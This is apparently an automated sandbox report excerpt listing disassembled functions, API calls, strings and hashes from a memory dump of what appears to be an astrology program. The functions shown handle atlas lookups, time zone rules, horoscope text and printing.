SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF
SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C8216FC
SetBkMode.GDI32(00000001), ref: 6C82170A
SelectObject.GDI32(?,00000000), ref: 6C82171C

Strings

, xrefs: 6C821628
", xrefs: 6C821606
<, xrefs: 6C8215DC
 , xrefs: 6C82161C
&, xrefs: 6C8215FA
>, xrefs: 6C8215EE

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CapsDeviceModePageViewportWindow$ObjectSelectStartText_fprintf_fputc
String ID: &$>$<$ $"$
API String ID: 3636509088-1333592619
Opcode ID: a4d8534f3e645a4c4c7c4b5bd263c672811fe8a938299fccdb580e66c07a288d
Instruction ID: 4e90c99d1acad9e42b39af92003ebb93b0a96f43a3bd83fcf92b5f447d2d2e12
Opcode Fuzzy Hash: a4d8534f3e645a4c4c7c4b5bd263c672811fe8a938299fccdb580e66c07a288d
Instruction Fuzzy Hash: B551D572709144AFDF319B95DA8AE6A7BFAE70734CB241867E50182A50C73A9CC1CBC1

Function 6C885ACA Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 99COMMONLIBRARYCODE

Download Yara Rule

APIs

__heap_init.LIBCMT ref: 6C885ADE

Part of subcall function 6C88E3BD: HeapCreate.KERNEL32(00000000,00001000,00000000,6C885AE3,6C8F2D80,00000008,6C885C87,?,?,?,6C8F2DA0,0000000C,6C885D42,?), ref: 6C88E3C6

__RTC_Initialize.LIBCMT ref: 6C885AFE
GetCommandLineA.KERNEL32(6C8F2D80,00000008,6C885C87,?,?,?,6C8F2DA0,0000000C,6C885D42,?), ref: 6C885B03
___crtGetEnvironmentStringsA.LIBCMT ref: 6C885B0E

Part of subcall function 6C890A9D: GetEnvironmentStringsW.KERNEL32(?,?), ref: 6C890AA7

__ioinit.LIBCMT ref: 6C885B18

Part of subcall function 6C887556: GetStartupInfoW.KERNEL32(?), ref: 6C887563
Part of subcall function 6C887556: __calloc_crt.LIBCMT ref: 6C88756F

__ioterm.LIBCMT ref: 6C885B51

Part of subcall function 6C88779B: DeleteCriticalSection.KERNEL32(0000000D,00000000,?,6C885B86,6C8F2D80,00000008,6C885C87,?,?,?,6C8F2DA0,0000000C,6C885D42,?), ref: 6C8877BE
Part of subcall function 6C88779B: _free.LIBCMT ref: 6C8877D7

__mtterm.LIBCMT ref: 6C885B21

Part of subcall function 6C888FFB: DecodePointer.KERNEL32(00000006,6C885BB6,6C885B9C,6C8F2D80,00000008,6C885C87,?,?,?,6C8F2DA0,0000000C,6C885D42,?), ref: 6C88900C
Part of subcall function 6C888FFB: TlsFree.KERNEL32(00000014,6C885BB6,6C885B9C,6C8F2D80,00000008,6C885C87,?,?,?,6C8F2DA0,0000000C,6C885D42,?), ref: 6C889026

__setargv.LIBCMT ref: 6C885B28
__setenvp.LIBCMT ref: 6C885B31
__cinit.LIBCMT ref: 6C885B3C
__ioterm.LIBCMT ref: 6C885B81
__mtterm.LIBCMT ref: 6C885B86

Strings

PN7w, xrefs: 6C885BE8

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: EnvironmentStrings__ioterm__mtterm$CommandCreateCriticalDecodeDeleteFreeHeapInfoInitializeLinePointerSectionStartup___crt__calloc_crt__cinit__heap_init__ioinit__setargv__setenvp_free
String ID: PN7w
API String ID: 2991414096-3458938079
Opcode ID: 41174a104abdc7faab272dd2d8ea566f8cb282e9e9854032d6cbd9a1ba3e5f2a
Instruction ID: 7f8a67825de01a3bb51019eff2a0a027e2e2a74740d77df46ded349c3d90d958
Opcode Fuzzy Hash: 41174a104abdc7faab272dd2d8ea566f8cb282e9e9854032d6cbd9a1ba3e5f2a
Instruction Fuzzy Hash: 9431E53164B745A6FB3167BD8B4458E3171AF4276DB200E37E892C2E80DB34C549CB62

Function 6C85958C Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 303windowCOMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C859602
SendDlgItemMessageA.USER32(?,000004B6,00000184,00000000,00000000), ref: 6C859617
GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C85965F
GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C859686
SendDlgItemMessageA.USER32(?,000004B6,00000184,00000000,00000000), ref: 6C8596B2
GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C859716
SendDlgItemMessageA.USER32(?,000004B6,00000184,00000000,00000000), ref: 6C85975B
GetDlgItemTextA.USER32(?,0000042B,?,000000FF), ref: 6C859784
SendDlgItemMessageA.USER32(?,000004B6,00000188,00000000,00000000), ref: 6C859807
SendDlgItemMessageA.USER32(?,000004B6,00000199,00000000,00000000), ref: 6C859818
GetDlgItemTextA.USER32(?,?,?,000000FF), ref: 6C859838
GetDlgItemTextA.USER32(?,00000429,?,000000FF), ref: 6C8598A4
GetDlgItemTextA.USER32(?,00000422,?,000000FF), ref: 6C8598CA
GetDlgItemTextA.USER32(?,0000042B,?,000000FF), ref: 6C8598F0
GetDlgItemTextA.USER32(?,0000042A,?,000000FF), ref: 6C859916

Part of subcall function 6C8217C6: _sprintf.LIBCMT ref: 6C8217ED
Part of subcall function 6C8217C6: MessageBoxA.USER32(?,?,00000010), ref: 6C821802

Strings

Please have a valid city in the 'Location' field first., xrefs: 6C859735
Couldn't get atlas data!, xrefs: 6C8596EA
Please have a valid city selected in 'Atlas Lookups', or a valid city already in the 'Location' field., xrefs: 6C859857
Couldn't get time zone data!, xrefs: 6C8597CF, 6C859954

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Item$Text$Message$Send$_sprintf
String ID: Couldn't get atlas data!$Couldn't get time zone data!$Please have a valid city in the 'Location' field first.$Please have a valid city selected in 'Atlas Lookups', or a valid city already in the 'Location' field.
API String ID: 3477808573-1416702263
Opcode ID: 57e9c187d9287b2d61d4b9d10869c65e2df04bf50ea66279df80d64df27ff41a
Instruction ID: ba529b489f5d9cdf0717eeb77cda9cc94213b60d1d060c25c3b1d12f501569f4
Opcode Fuzzy Hash: 57e9c187d9287b2d61d4b9d10869c65e2df04bf50ea66279df80d64df27ff41a
Instruction Fuzzy Hash: F3B1E6B2A4021CABDB359B54CD42FEA7778EB49714F4009E5F648E61C0EAB46E948F90

Function 6C8134D0 Relevance: 31.7, APIs: 10, Strings: 8, Instructions: 242COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8134FE
_sprintf.LIBCMT ref: 6C813516
_sprintf.LIBCMT ref: 6C813543
_sprintf.LIBCMT ref: 6C8135B3
_sprintf.LIBCMT ref: 6C81367A

Part of subcall function 6C8214FC: TextOutA.GDI32(-00000005,00000017,?,00000001,00000001), ref: 6C8215C4
Part of subcall function 6C8214FC: EndPage.GDI32(00000000), ref: 6C821684
Part of subcall function 6C8214FC: StartPage.GDI32 ref: 6C821690
Part of subcall function 6C8214FC: SetMapMode.GDI32(00000008), ref: 6C82169E
Part of subcall function 6C8214FC: SetViewportOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216AD
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(0000000A,00000000), ref: 6C8216BC
Part of subcall function 6C8214FC: GetDeviceCaps.GDI32(00000008,00000000), ref: 6C8216C7
Part of subcall function 6C8214FC: SetViewportExtEx.GDI32(00000000,?,00000000), ref: 6C8216D0
Part of subcall function 6C8214FC: SetWindowOrgEx.GDI32(00000000,00000000,00000000), ref: 6C8216DF

_sprintf.LIBCMT ref: 6C8136AB

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

Part of subcall function 6C8214FC: _fprintf.LIBCMT ref: 6C8215E2
Part of subcall function 6C8214FC: SetWindowExtEx.GDI32(00000000,00000000,00000000), ref: 6C8216FC
Part of subcall function 6C8214FC: SetBkMode.GDI32(00000001), ref: 6C82170A
Part of subcall function 6C8214FC: SelectObject.GDI32(?,00000000), ref: 6C82171C

_sprintf.LIBCMT ref: 6C813717
_sprintf.LIBCMT ref: 6C8137EA
_sprintf.LIBCMT ref: 6C813816
_sprintf.LIBCMT ref: 6C813841

Strings

%12.7f %12.7f %12.7f %12.7f, xrefs: 6C813615, 6C813678, 6C813785, 6C8137E8
%8.3f %8.3f %8.3f %8.3f, xrefs: 6C81361C, 6C81378C
%s%sX axis%s%s %s%sY axis%s%s %s%sZ axis%s%s %s%sLength, xrefs: 6C81353D
%5.2f, xrefs: 6C81383B
Star #%2d, xrefs: 6C813810
%-4.4s: , xrefs: 6C8135AD, 6C813711
Body %s%sAzimuth%s%s , xrefs: 6C813510
Uranian #%d, xrefs: 6C8136A5

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$CapsDeviceModePageViewportWindow$ObjectSelectStartText__output_l_fprintf
String ID: Star #%2d$ Uranian #%d$ %12.7f %12.7f %12.7f %12.7f$ %5.2f$ %8.3f %8.3f %8.3f %8.3f$%-4.4s: $%s%sX axis%s%s %s%sY axis%s%s %s%sZ axis%s%s %s%sLength$Body %s%sAzimuth%s%s
API String ID: 887077291-3782890752
Opcode ID: c000c4c17612f3632938e849b9bc4ccaa22ad291125688247fa4859fadf647e7
Instruction ID: 43989d4d66c28505c385c8a10c0caf2fd775f9197136dc0e0247bc49ab968f6e
Opcode Fuzzy Hash: c000c4c17612f3632938e849b9bc4ccaa22ad291125688247fa4859fadf647e7
Instruction Fuzzy Hash: 9691E17290851CD6CB30AB14DD49BDEB778EB44318F5209E4D099A6B90DF369EECCB81

Function 6C822A41 Relevance: 31.6, APIs: 7, Strings: 11, Instructions: 135COMMON

Download Yara Rule

APIs

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

_sprintf.LIBCMT ref: 6C822A85
_sprintf.LIBCMT ref: 6C822AA7

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C822AC5

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

_sprintf.LIBCMT ref: 6C822B1C
_sprintf.LIBCMT ref: 6C822B3B
_sprintf.LIBCMT ref: 6C822BF9
_sprintf.LIBCMT ref: 6C822C18

Strings

The, xrefs: 6C822BBA
The %d%s House is the area of life dealing with, xrefs: 6C822B16
Signs of the zodiac represent psychological characteristics., xrefs: 6C822A57
%s is, xrefs: 6C822A7F
%s., xrefs: 6C822A63, 6C822AC3, 6C822B39, 6C822C16
Houses represent different areas within one's life., xrefs: 6C822AEF
Athena, xrefs: 6C822BC9
%s%s%s represents one's, xrefs: 6C822BF3
Planets represent various parts of one's mind or self., xrefs: 6C822B63
%s, and, xrefs: 6C822AA1
Part of , xrefs: 6C822BD5, 6C822BEC

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$ColorText__flsbuf__output_l
String ID: Athena$%s is$%s%s%s represents one's$%s, and$%s.$Houses represent different areas within one's life.$Part of $Planets represent various parts of one's mind or self.$Signs of the zodiac represent psychological characteristics.$The$The %d%s House is the area of life dealing with
API String ID: 1481945667-3902578698
Opcode ID: c9374ac9dce4745cc2a07619b17d4fd7134bd0fd177cf173952c3cea80cba46f
Instruction ID: 8d029243ca86dea5466dfee7727cce48a3efdd4c729027efa097304e8495cf24
Opcode Fuzzy Hash: c9374ac9dce4745cc2a07619b17d4fd7134bd0fd177cf173952c3cea80cba46f
Instruction Fuzzy Hash: 90419472D101199BCB30AB68CA8DEDAB3699B11328F510D71D19166F50DBBCEDCC8BD1

Function 6C805595 Relevance: 26.7, APIs: 8, Strings: 7, Instructions: 440COMMON

Download Yara Rule

Strings

%s (%s), xrefs: 6C805AF3
Cities in atlas matching: %s, xrefs: 6C8059CA
USA, xrefs: 6C805701
%3d: , xrefs: 6C805A21
No matches found., xrefs: 6C805B98
%s (%s, %s), xrefs: 6C805ABE
(No matches found), xrefs: 6C805B70

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID:
String ID: %3d: $%s (%s)$%s (%s, %s)$(No matches found)$Cities in atlas matching: %s$No matches found.$USA
API String ID: 0-1127114671
Opcode ID: 58eccedae081180ce5c83e6231d9fe1e81686e0839c03b1ae94e66634cd7437d
Instruction ID: fd4867ad7449211031a7819dde3567edbdbe6af709ac400a8ee6b903bd898684
Opcode Fuzzy Hash: 58eccedae081180ce5c83e6231d9fe1e81686e0839c03b1ae94e66634cd7437d
Instruction Fuzzy Hash: F602C531B057698EDB308F18DE40799B7F4BF06309F248AE9C49996A40DB749EC5CFA4

Function 6C804A7D Relevance: 26.6, APIs: 4, Strings: 11, Instructions: 358COMMON

Download Yara Rule

APIs

Part of subcall function 6C82294E: _free.LIBCMT ref: 6C822954

Part of subcall function 6C820A72: _memset.LIBCMT ref: 6C820A83

_fgets.LIBCMT ref: 6C804B85
_fgets.LIBCMT ref: 6C804C47
_sprintf.LIBCMT ref: 6C804E7B
_sprintf.LIBCMT ref: 6C804EAD

Strings

timezone rule entries, xrefs: 6C804B29
Zone rule error: Rule %d (%s) is too long a string, which exceeds string length limit of %d, xrefs: 6C804E6F
Zone rule error: The %d rules have %d entries, which differs from total rule entry limit of %d, xrefs: 6C804E59
Zone rule error: Bad month in entry %d of rule %d: '%s', xrefs: 6C804F00
Zone rule error: Bad lastDay of week in entry %d of rule %d: '%s', xrefs: 6C804EC4
, xrefs: 6C804B8D
Zone rule error: Day operator not >= or <= in entry %d of rule %d: '%s', xrefs: 6C804ED8
timezone rule names, xrefs: 6C804ADE
Zone rule error: Bad Day==X of week in entry %d of rule %d: '%s', xrefs: 6C804EEC
<, xrefs: 6C804D90
Zone rule error: Rule %d (%s) has %d entries, which exceed total entry limit of %d, xrefs: 6C804EA7

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fgets_sprintf$_free_memset
String ID: $<$Zone rule error: Bad Day==X of week in entry %d of rule %d: '%s'$Zone rule error: Bad lastDay of week in entry %d of rule %d: '%s'$Zone rule error: Bad month in entry %d of rule %d: '%s'$Zone rule error: Day operator not >= or <= in entry %d of rule %d: '%s'$Zone rule error: Rule %d (%s) has %d entries, which exceed total entry limit of %d$Zone rule error: Rule %d (%s) is too long a string, which exceeds string length limit of %d$Zone rule error: The %d rules have %d entries, which differs from total rule entry limit of %d$timezone rule entries$timezone rule names
API String ID: 1855854596-1974639319
Opcode ID: 185a12b13af8a3106a0a30c0c939956163faf3096facfda4cc870448b1ca9860
Instruction ID: 6a99d489823dd42994d440a8ed70a4f88029792e092a36a6528c187411f07c34
Opcode Fuzzy Hash: 185a12b13af8a3106a0a30c0c939956163faf3096facfda4cc870448b1ca9860
Instruction Fuzzy Hash: 15D12632B882599EDB318F68CE487D9BBB4AFE6318F204CD6D44893E42D73499C5CB51

Function 6C821CB7 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 113COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C821CF1
_sprintf.LIBCMT ref: 6C821D35
__floor_pentium4.LIBCMT ref: 6C821D52
__floor_pentium4.LIBCMT ref: 6C821D69
__floor_pentium4.LIBCMT ref: 6C821DA1
_sprintf.LIBCMT ref: 6C821DD3
__floor_pentium4.LIBCMT ref: 6C821DF2
_sprintf.LIBCMT ref: 6C821E10

Strings

%2dh,%02dm, xrefs: 6C821D2F
%7.3f, xrefs: 6C821CDD, 6C821CEA
0Ari00, xrefs: 6C821CEB, 6C821CF0, 6C821D2A, 6C821D34, 6C821DCD, 6C821DD2
%2d%.3s%02d, xrefs: 6C821DC8
'%02d", xrefs: 6C821E06
,%02ds, xrefs: 6C821D7D
%11.7f, xrefs: 6C821CD6

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4_sprintf
String ID: 0Ari00$%11.7f$%2d%.3s%02d$%2dh,%02dm$%7.3f$'%02d"$,%02ds
API String ID: 4172657630-3850279763
Opcode ID: 96fb31103a1293d0e635034bdd090f68f67ee7265969db55c642377df130b141
Instruction ID: acb967b1185a404e83f98abd2bc70a8f8385ffbd7b30dcafc3f15de93bf0af60
Opcode Fuzzy Hash: 96fb31103a1293d0e635034bdd090f68f67ee7265969db55c642377df130b141
Instruction Fuzzy Hash: 5731F7B2501908F7DB201BA9DD09AED7E78EF45318F1309A5F454A6E40DF318D59C3D5

Function 6C823419 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 106COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C8234D6
_sprintf.LIBCMT ref: 6C8234F9

Part of subcall function 6C821AD3: SetTextColor.GDI32(00000000), ref: 6C821B19

Part of subcall function 6C821AD3: _sprintf.LIBCMT ref: 6C821B63

_sprintf.LIBCMT ref: 6C82355D
_sprintf.LIBCMT ref: 6C823580

Part of subcall function 6C881F84: __output_l.LIBCMT ref: 6C881FDF

_sprintf.LIBCMT ref: 6C8235B5

Part of subcall function 6C881F84: __flsbuf.LIBCMT ref: 6C881FFA

Strings

an independent, backward, introverted, xrefs: 6C82347B
They will affect each other prominently., xrefs: 6C8235C5
manner., xrefs: 6C82348E
will be %s,, xrefs: 6C8234D0
and it %s., xrefs: 6C8234F3
will tend to manifest in, xrefs: 6C823471
energies of %s., xrefs: 6C82357A
Energy representing, xrefs: 6C82345B, 6C8234AB, 6C823532
the standard, direct, open, xrefs: 6C823484
%s., xrefs: 6C8235AF

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

